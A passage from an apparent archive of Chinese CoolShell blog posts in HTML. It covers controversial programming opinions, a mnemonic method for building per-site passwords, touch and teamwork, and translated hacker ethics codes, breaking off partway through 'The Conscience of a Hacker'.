    "content": "<html><body><p>在<a href=\"http://stackoverflow.com/\" target=\"_blank\">Stack Overflow</a>上有这样的一个贴子《<a href=\"http://stackoverflow.com/questions/406760/whats-your-most-controversial-programming-opinion\" target=\"_blank\">What’s  your most controversial programming opinion?</a>》，翻译成中文就是“<span style=\"color: #333333;\">你认为最有争议的编程观点是什么？</span>”，不过，在400多个主回贴，以及千把个子回贴中，好像并不是很有争议，而是令人相当的茅塞顿开，下面罗列一些，并通过我自己的经历和理解发挥了一些，希望对你有帮助。</p>\n<p><strong>1） The only “best practice” you should be using all the time is “Use Your  Brain”.</strong></p>\n<p>唯一的“Best Practice”并不是使用各种各样被前人总结过的各种设计方法、模式，框架，那些著名的方法、模式、框架只代码赞同他们的人多，并不代表他们适合你，你应该更多的去使用你的大脑，独立地思考那些方法、模式、框架出现的原因和其背后的想法和思想，那才是“best practice”。事实上来说，那些所谓的“Best Practice”只不过是限制那些<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员们</a>的破坏力。</p>\n<p><strong>2）Programmers who don’t code in their spare time for fun will never  become as good as those that do.</strong></p>\n<p>如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的娱乐方式去生活，无论是编程，还是运动，还是去旅游，那么你只不过是在应付你的工作，无时无刻不扎在程序堆中，这样下来，就算是你是一个非常聪明，非常有才华的人，你也不会成为一个优秀的编程员，要么只会平平凡凡，要么只会整天扎在技术中成为书呆子。当然，这个观点是有争议，热情和能力的差距也是很大的。不过我们可以从中汲取其正面的观点。</p>\n<p><strong>3）M</strong><strong>ost comments in code are in fact a pernicious form of code  duplication.</strong></p>\n<p>注释应该是注释Why，而不是How和What，参看《<a href=\"https://coolshell.cn/articles/340.html\" rel=\"bookmark\" target=\"_blank\">惹恼程序员的十件事</a>》，代码告诉你How，而注释应该告诉你Why。但大多数的程序并不知道什么是好的注释，那些注释其实和code是重复的，毫无意义。</p>\n<p><span id=\"more-2424\"></span></p>\n<p><strong>4）XML is highly overrated</strong></p>\n<p>XML可能被高估了。XML对于Web上的应用是不错的，但是我们把其用到了各种地方，好像没有XML，我们都不会编程了。</p>\n<p><strong>5）Not all programmers are created equal</strong></p>\n<p>这是那些junior经理或是流程爱犯的错，他们总是认为，DeveloperA == DeveloperB，只要他们的title一样，他们以为他们的能力、工作速度、解决问题的方法，掌握的技能等等都是一样的。呵呵。更扯的是，在某些时候，就算是最差的程序员，他们也会认为其比别人强十倍，这就是现代的SB管理。</p>\n<p><strong>6）”Googling it” is okay!</strong></p>\n<p>Google只会给你知识，并不会教给你技能。那里只有“鱼”，没有“渔”，过度的使用Google，只会让你越来越离不开他，你越来越去要去立马告诉你答案，而你越来越不会自己去思考，自己去探索，去专研。如果KFC快餐是垃圾食品对我们的身体没有好处，那么使用Google也一种快餐文化对我们的智力发展大大的没有好处。</p>\n<p><strong>7）</strong><strong>If you only know one language, no matter how well you know it, you’re not a  great programmer.</strong></p>\n<p>如果你只懂一种语言，准确的说，如果你只懂一类语类，如：Java和C#，PHP和Perl，那么，你将会被局限起来，只有了解了各种各样的语言，了解了不同语言的不同方法 ，你才会有比较，只有了比较，你才会明白各种语言的长处和短处，才会让你有更为成熟的观点，而且不整天和别的程序在网上斗嘴争论是Windows好还是Unix好，是C好还是C++好，有这点工夫能干好多事了。世界因为不同而精彩，只知道事物的一面是有害的。</p>\n<p><strong>8）Your job is to put yourself out of work.</strong></p>\n<p>你的工作不是保守，那种教会徒弟，饿死师父的想法，不但是相当短浅的，而且还是相当脑残的。因为，在计算机世界里，你掌握的老技术越多，你就越没用，因为技术更新的太快。你对工作越保守，这个工作就越来越离不开你，你就越不越不能抽身去学新的东西，你也就越来越OUT了。记住：If you can’t be replaced then you can’t be promoted!</p>\n<p><strong>9）<strong>Design patterns are hurting good design more than they’re helping  it.</strong></strong></p>\n<p>很多程序员把设计模式奉为天神，他们过度的追求设计模式以至都都忘了需求是什么，结果整个系统设计被设计模式搞得乱七八糟，我们叫这种编程为“<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">设计模式驱动编程</a>”，正如第一点所说，如果你不懂得用自己的大脑思考的话，知其然，不知所以然的话，那么你不但得不到其好处，反而受其所累。</p>\n<p><strong>10）</strong><strong>Unit Testing won’t help you write good code</strong></p>\n<p>准确地说，我们可以认为这是Test-Driven开发，其实，这种开发就是先写unit test case，这样的开发方式的主要目的是，为了防止你不会因为一个改动而引入Bug，但这并不会让你能写出更好的代码。这只会让你写出不会出错的代码。同第一点，这样的方法，只不过是防止<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员</a>，而并不是让程序员或代码质量更有长进。反而，通过Unit Test会为程序员的为自己代码做辩解的一种托辞。</p>\n<p>最后，顺便说一下，以前去那个敏捷的公司面试，发现那个公司的某些技术人员中毒不浅，具体表现在上述的1）9）10）观点上。</p>\n<p><strong>（转载本文请注明作者和出处，请勿用于商业用途）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-18 如何管理并设计你的口令.html",
    "content": "<html><body><p>在互联网上，需要我们输入用户名口令的地方实在是太多了，多得都让人记不过来了，N个电子邮件帐号，QQ， MSN，校内，开心，facebook，Blog，各种论坛，网银，淘宝，电子相册……，太多了，想想看，你要用多少用户名口令，相信很多人可能会这样做，用几乎一样的口令和用户名来申请所有的这些帐号，我估计这是大多数人的做法。当然，这样一来，你就需要保管好你的用户名和口令了，因为只要被破解了，就相当于你所有的帐号被破解了，这是多数恐怖的一件事情啊。你可能觉得别人破解你的口令很难，但我告诉你也许会非常容易，因为，如果你只使用一样的用户名和口令的话，也许某天，你注册了一个不知名的小网站，可能会意味着你所有的用户名和口令都被人获取了，要小心啊。</p>\n<p>对我来说，我通常会有几组组帐号和密码，</p>\n<ul>\n<li>一个帐号/密码是用于一些大的可以依赖的站点，如：MSN，gmail，linkedin，facebook，hotmail等，因为我相信这些站点应该可以足够信任不会出卖用户信息，也有足够的能力不会让用户信息和口令外泄。</li>\n<li>一个帐号/密码用于一些国内的一些大的网站，如：QQ，开心，CSDN，Sina，网易，Blog，同学录等，因为这些站点必竟还受到国家的监管，以及其内部不良员工可能会倒卖我的信息，指不定什么时候我的用户信息就会外泄。</li>\n<li>一个帐号/密码用于我的一些经济活动，如网银，淘宝，支付宝什么的。</li>\n<li>最后一个帐号/密码用于登录那些必需要注册的破站点，一个最简单的用户名口令。</li>\n</ul>\n<p>真烦啊。在这样的一个社会里，忘记密码绝对是一件最普通不过的事情了。就算是我这样的分组归类，同样需要超强的记忆力。不知道你会不会把你的密码写在某处呢？是啊，我也是想写啊，但那岂不是相当的危险，不丢则已，一丢就全丢了。</p>\n<p>今天，在国外的某论坛里看到了这样的一个设计方法，好像很不错，分享给大家。</p>\n<p><span id=\"more-2428\"></span></p>\n<p>1）首先，先找一句你喜欢的话（你一辈子都记得的话），当然，只有你记得的，无论中英文，然后取各个单词或字的英文、拼音、五笔头一个字母。比如：<strong>I</strong> <strong>L</strong>ike <strong>L</strong>ong <strong>C</strong>omplicated <strong>P</strong>asswords, <strong>T</strong>hey <strong>C</strong>onfuse <strong>P</strong>eople，取头一个字母则成为了：<strong>illcptcp</strong>。中文的——“信春哥得永生”的五笔的第一个字母是：<strong>wdstyt</strong>。这个东西只有你自己知道，就算是别人看到明码，也很难马上记下来，是吧。</p>\n<p>2）加上一些数字吧，比如你的生日，学号，电话，纪念日等。比如世界末日：2012年的12月21日(我们只取12月21日)。把这些数字加在断句的地方，于是得到这样的口令：<strong>illcp12tcp21 </strong>或是 <strong>wds12tyt21</strong>。</p>\n<p>3）我们把第二步得到的口令叫基本口令。然后你可以在其前后(或是中间)加上站点的简称（用大写）。如：</p>\n<ul>\n<li>gmail：<strong>GM</strong><strong>illcp12tcp21</strong></li>\n<li>CSDN：<strong>CS</strong><strong>wds12tyt21DN</strong></li>\n<li>MSN<strong><span style=\"font-weight: normal;\">：</span><strong>illcp12tcp21MSN</strong></strong></li>\n<li><strong><span style=\"font-weight: normal;\">QQ：</span><strong>Q<strong>wds12tyt21Q</strong></strong></strong></li>\n</ul>\n<p>4）改良。你可以在上述的第2）步，在输入数字时按着Shift键，于是，你可以得到更BT的口令：<strong>illcp!@tcp@! </strong>，或是在第3)步聚的前缀和后缀间加上特殊字符，如：&amp;, ＃，^等等。</p>\n<p>相信这样的规则会让你的口令即不重复，又好记，而且又足够复杂。不然，你真的要去下载一个软件来记你的口令了。</p>\n<p>大家不妨也说说你的口令的设计或管理方法。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-19 碰触，合作和团队绩效.html",
    "content": "<html><body><p>公司有时候会举行团队建设活动，让大家出去跋山涉水，一起做有肢体接触游戏（例如用废报纸和胶布搭建一个能把所有人容下的遮阳棚）。这其中是有道理的。</p>\n<p>今日读到一篇加州伯克利大学的文章 <a href=\"http://ist-socrates.berkeley.edu/~keltner/publications/kraus.huang.keltner.2010.pdf\">touch, cooperation, and performance</a>, 用科学的研究方法解释了为什么NBA球员们为什么要“high five（击掌）”，并用统计方法论证了碰触行为可以导致更好的比赛成绩。其实想想，其实人们握手，鼓励式地拍肩膀，引导别人进门的时候好客地推别人的背，道理都是一样。身体接触（符合社交礼仪范围的）是建立信任的一种微妙行为。这些大多不会写在领导力的书里。</p>\n<p>猴子之间互相捉虱子梳理毛发不是为了营养，而是增进群体的凝聚力。人类口头上的语言的第一功能不是为了表达知识，而是为了促进社会联系，其内容并不需要都是重要信息。这就是为什么我们一天之内说话内容的80%其实都是扯淡，八卦和闲聊。</p>\n<p>（注意：职场上有社交礼仪，此方法需要适度）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/562.html\"><img alt=\"30种时尚的CSS网站导航条\" height=\"150\" src=\"../wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3288.html\"><img alt=\"版本管理器的发展史\" height=\"150\" src=\"../wp-content/uploads/2010/11/scmhistory-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2109.html\"><img alt=\"Python处理encoding的小技巧\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2109.html\">Python处理encoding的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21.html\"><img alt=\"101个设计模式\" height=\"150\" src=\"../wp-content/uploads/2009/03/dp_book-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21.html\">101个设计模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7126.html\"><img alt=\"这到底是谁之错？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2440.html\">碰触，合作和团队绩效</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-19 黑客的价值观.html",
    "content": "<html><body><p>黑客，可能在大家的眼里是那些入侵别人计算机搞破坏的人，其实并不是那样的。如果你这样认为了，只能说明你对计算机文化并不了解，真正的黑客是一种自由的象征，他们挑战权威，追求自由，并和很多非人类的行为作斗争。如果你想了解黑客文化，你一定要去看看我写的《Unix传奇，<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a>》。你会对正宗的计算机文化以及黑客文化有所了解的。而那些只懂得入侵别人计算机搞破坏活动的“黑客”只能称为是街头的小混混，他们根本就不配称黑客。</p>\n<p>下面有四篇关于“Hacker’s Code”文章，我觉得相当的不错，可以让你明白什么是黑客的行为规范，道德准则，以及黑客的历史使命，希望能对你有启发。但是翻译水平有限，所以我请<strong><a href=\"https://coolshell.cn/?author=3\" target=\"_blank\">Mailper</a><span style=\"font-weight: normal;\">同学帮忙翻译了一下，但还是觉得原文更为传神，尤其是原文中的押韵，双意以及朗朗上口，所以，下面提供了中英文对照。如果有翻译得不好的还请大家指正。</span></strong></p>\n<p><strong><span style=\"font-weight: normal;\"> </span></strong></p>\n<h1 style=\"text-align: center;\">The Hacker’s Code</h1>\n<p style=\"text-align: center;\"><a href=\"http://muq.org/~cynbe/hackers-code.html\" target=\"_blank\">http://muq.org/~cynbe/hackers-code.htm</a>l</p>\n<p><em>“A hacker of the Old Code.”</em></p>\n<ul>\n<li>Hackers come and go, but a great hack is forever.<br/>\n黑客们来来往往，但是只有黑客的壮举是永存的</li>\n</ul>\n<ul>\n<li>Public goods belong to the public.<strong>*</strong><br/>\n公众的东西是属于大众的</li>\n</ul>\n<ul>\n<li>Software hoarding is evil.<br/>\nSoftware does the greatest good given to the greatest number.<br/>\n圈养软件是邪恶的，最好的软件是有最多人使用的</li>\n</ul>\n<p><span id=\"more-2439\"></span></p>\n<ul>\n<li>Don’t be evil.<br/>\n不作恶</li>\n</ul>\n<ul>\n<li>Sourceless software sucks.<br/>\n不公开源码的软件是令人厌恶的</li>\n</ul>\n<ul>\n<li>People have rights.<br/>\nOrganizations live on sufferance.<br/>\n每个人都是有权利的，而组织是建立在互相的容忍上的</li>\n</ul>\n<ul>\n<li>Governments are organizations.<br/>\n政府也是组织</li>\n</ul>\n<ul>\n<li>If it is wrong when citizens do it,<br/>\nit is wrong when governments do it.<br/>\n对与错的标准，对于公民和政府是同样适用的。(不能“只许州官放火不许百姓点灯”)</li>\n</ul>\n<ul>\n<li>Information wants to be free.<br/>\nInformation <em>deserves</em> to be free.<br/>\n信息需要自由（免费），信息也应该是是自由（免费）的</li>\n</ul>\n<ul>\n<li>Being legal doesn’t make it right.Being illegal doesn’t make it wrong.<br/>\n合法的不一定是正确的，不合法不一定就是错误的</li>\n</ul>\n<ul>\n<li>Subverting tyranny is the highest duty.<br/>\n推翻专制是黑客的最高天职</li>\n</ul>\n<ul>\n<li>Trust your technolust!<br/>\n相信你的“技术贪欲”</li>\n</ul>\n<p><span>* <strong>Definition</strong>:<em> A good is <strong>public</strong> if the marginal  production cost is lower than the marginal billing cost.<br/>\n<strong><span style=\"font-style: normal;\">定义</span></strong>： </em>一个好的公众事物仅当其边际产值小于其边际广告值。（<span style=\"font-size: 13px;\">关于<em> marginal production</em>是一个经济学术语，我不是很懂，大家可以参考<a href=\"http://hi.baidu.com/loftyambition/blog/item/90c586df69909f1b6227980b.html\" target=\"_blank\">这篇文章</a>）</span></span></p>\n<p><span><span style=\"font-size: 13px;\"> </span></span></p>\n<p><span><span style=\"font-size: 13px;\"> </span></span></p>\n<h1 style=\"text-align: center;\"><strong>The Hacker’s Code of Ethics</strong></h1>\n<p style=\"text-align: center;\"><a href=\"http://courses.cs.vt.edu/cs3604/lib/WorldCodes/Hackers.Code.html\" target=\"_blank\">http://courses.cs.vt.edu/cs3604/lib/WorldCodes/Hackers.Code.html</a></p>\n<p>Levy (1984) suggests that there is a “code of ethics” for hacking which, though not pasted on the walls, is in the air:</p>\n<p>列维认为黑客有一种准则，这种准则不是墙上贴着的，而是像空气一样无处不在的。</p>\n<ul>\n<li>Access to Computers – and anything which might teach you something about the way the world works – should be unlimited and total. Always yield to the Hands-On Imperative!<br/>\n计算机的使用（就像任何教会你去了解这个世界的东西一样）应该是无限和无所不包的。真理来自实际动手操作。</li>\n</ul>\n<ul>\n<li>All information should be free.<br/>\n所有的信息都应该是自由的（免费和不加限制的）</li>\n</ul>\n<ul>\n<li>Mistrust Authority – Promote Decentralization.<br/>\n不要相信权威，推崇分权和群众的智慧</li>\n</ul>\n<ul>\n<li>Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.<br/>\n英雄（黑客）不问出处，更不会去计较世俗的标准：学历，年龄，种族和职位高低。</li>\n</ul>\n<ul>\n<li>You can create art and beauty on a computer.<br/>\n黑客可以在计算机上创造艺术和美。</li>\n</ul>\n<ul>\n<li>Computers can change your life for the better.<br/>\n计算机可以提升你的生命。</li>\n</ul>\n<p><strong>Reference:</strong></p>\n<p>Levy, Steven. 1984. Hackers: Heroes of the Computer Revolution, Anchor Press/Doubleday, Garden City, NY, 458 pp.</p>\n<p>史蒂芬.列维 1984  黑客：计算机革命的英豪们， Achor Press… 第458页</p>\n<h1 style=\"text-align: center;\"><span style=\"color: green;\">DRAFT</span> The Hacker’s Code <span style=\"color: green;\">DRAFT</span></h1>\n<p style=\"text-align: center;\"><a href=\"http://www.petascale.org/code/code.html\" target=\"_blank\"><span style=\"font-weight: normal;\">http://www.petascale.org/code/code.html</span></a></p>\n<p>Preamble: We, the people of the electronic universe, in order to establish a  society of knowledge and skills, do hereby proclaim the following.</p>\n<p>导言：我们，数字领域的主宰者，为了建一个知识和技术的社区，我们发出下面的声明。</p>\n<p>Hackers are diverse, from all cultures and backgrounds. Every hacker is  unique, yet we all share some characteristics. While not every hacker follows  this Code, many believe it is a fair description of our shared traditions, goals  and values.</p>\n<p>黑客是各式各样的，无论是从文化还是背景。每个黑客都是唯一的，然后，我们是有一些相同的特质的。也许并不是所有的黑客都会跟从下面的准则，但大多数黑客都相信这是一个公正的惯例，目标和价值观。</p>\n<ul>\n<li>Hackers share and are willing to teach their knowledge<br/>\n黑客共享并愿意传播他们的知识。</li>\n</ul>\n<ul>\n<li>Hackers are skilled. Many are self-taught, or learn by interacting with  other hackers.<br/>\n黑客都是老手。他们中很多人要么是自学，要么是与别的黑客相互共世而成长的。</li>\n</ul>\n<ul>\n<li>Hackers seek knowledge. This knowledge may come from unauthorized or unusual  sources, and is often hidden.<br/>\n黑客查找知识。那些知识可能是多一些未授权或是不寻常的通常都是被隐藏起来的地方来的。</li>\n</ul>\n<ul>\n<li>Hackers are tinkerers. They like to understand how things work, and want to  make their own improvements or modifications.<br/>\n黑客都是些好管闲事的人。他们总是喜欢对事物刨根问底，而且总是要为改善那些事情加上自己的想法。</li>\n</ul>\n<ul>\n<li>Hackers often disagree with authority, including parents, employers, social  customs and laws. They often seek to circumvent authority they disagree with.<br/>\n黑客通常都在挑战权威，包括家长，同事，用户以及法律。他们总是挑战那些他们并不认可以权威。</li>\n</ul>\n<ul>\n<li>Hackers disagree with each other. Different hackers have different values,  and come from all backgrounds. This means that what one hacker is opposed to  might be embraced by another.<br/>\n黑客也是互不信任的。不同的黑客有不同的价值取向，而且也有相同的背景。也就是说，某个黑客被反对了，但也会被别的黑客所拥护。</li>\n</ul>\n<ul>\n<li>Hackers are persistent, and are willing to devote hours, days and years to  pursuing their individual passions.<br/>\n黑客是永不放弃的。他们愿意全身心地把他们的热情投入到每一个小时，每一天，每一年中。</li>\n</ul>\n<ul>\n<li>This Code is not to prescribe how hackers act. Instead, it is to help us to  recognize our own diversity and identify.<br/>\n准则并不是说明黑客是什么样的，而说让我们明白我们的不同性和一致性。</li>\n</ul>\n<ul>\n<li>Every hacker must make his or her own decisions about what is right or  wrong, and some might do things they believe are illegal, amoral or anti-social  to achieve higher goals.<br/>\n每一个黑客必需自己为对和错作决定，有一些事可能是不合法，不道德的，甚至反社会的，但却可以让他们攀上自己价值观的高峰。</li>\n</ul>\n<ul>\n<li>Hackers’ motivations are their own, and there is no reason for all hackers  to agree.<br/>\n黑客的动机是他们自己的，而且无需任何理由获得其它的同意。</li>\n</ul>\n<ul>\n<li>Hackers have a shared identify, however, and many shared interests.<br/>\n黑客一般会有共同的认识，然而，许多黑客却是拥有共同的利益。</li>\n</ul>\n<ul>\n<li>By reading this Code, hackers can recognize themselves and each other, and  understand better the group they are a part of. This will be beneficial to all  hackers.<br/>\n了解了这些准则，黑客们能够赏识自己或相互赏识，并相当明白他们是这个团体的一部分。这会让所有的黑客受益。</li>\n</ul>\n<h1 style=\"text-align: center;\">The Conscience of a Hacker</h1>\n<p style=\"text-align: center;\"><a href=\"http://www.phrack.org/issues.html?issue=7&amp;id=3&amp;mode=html\">http://www.phrack.org/issues.html?issue=7&amp;id=3&amp;mode=html</a></p>\n<p>##=========================================</p>\n<p>\\/\\The Conscience of a Hacker/\\/</p>\n<p>by</p>\n<p>+++The Mentor+++</p>\n<p>笔名：导师</p>\n<p>Written on January 8, 1986</p>\n<p>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>\n<p>Another one got caught today, it’s all over the papers.  “Teenager Arrested in Computer Crime Scandal”, “Hacker Arrested after Bank Tampering”… Damn kids.  They’re all alike.</p>\n<p>今天有一个被捕的消息受到媒体热议。“某少年由于计算机犯罪被捕”，“入侵银行的黑客被捕”…一帮臭小子，他们都一样。</p>\n<p>But did you, in your three-piece psychology and 1950’s technobrain, ever take a look behind the eyes of the hacker?  Did you ever wonder what made him tick, what forces shaped him, what may have molded him?</p>\n<p>但是你们是帮老朽只知道老套的心理学和50年代的技术。你们有没有想想黑客究竟在想什么？你们有没有想想他们为什么这么做，什么造就了他们，什么塑造了这帮黑客？</p>\n<p>I am a hacker, enter my world…</p>\n<p>我是名黑客，请走进我的世界…</p>\n<p>Mine is a world that begins with school… I’m smarter than most of the other kids, this crap they teach us bores me…</p>\n<p>我的世界是从学校开始的…我是学校里最聪明的孩子，学校教我的垃圾让我厌倦。</p>\n<p>Damn underachiever.  They’re all alike.</p>\n<p>都他妈的水货，这帮子成绩不好的都一样烂。</p>\n<p>I’m in junior high or high school.  I’ve listened to teachers explain for the fifteenth time how to reduce a fraction.  I understand it.  “No, Ms. Smith, I didn’t show my work.  I did it in my 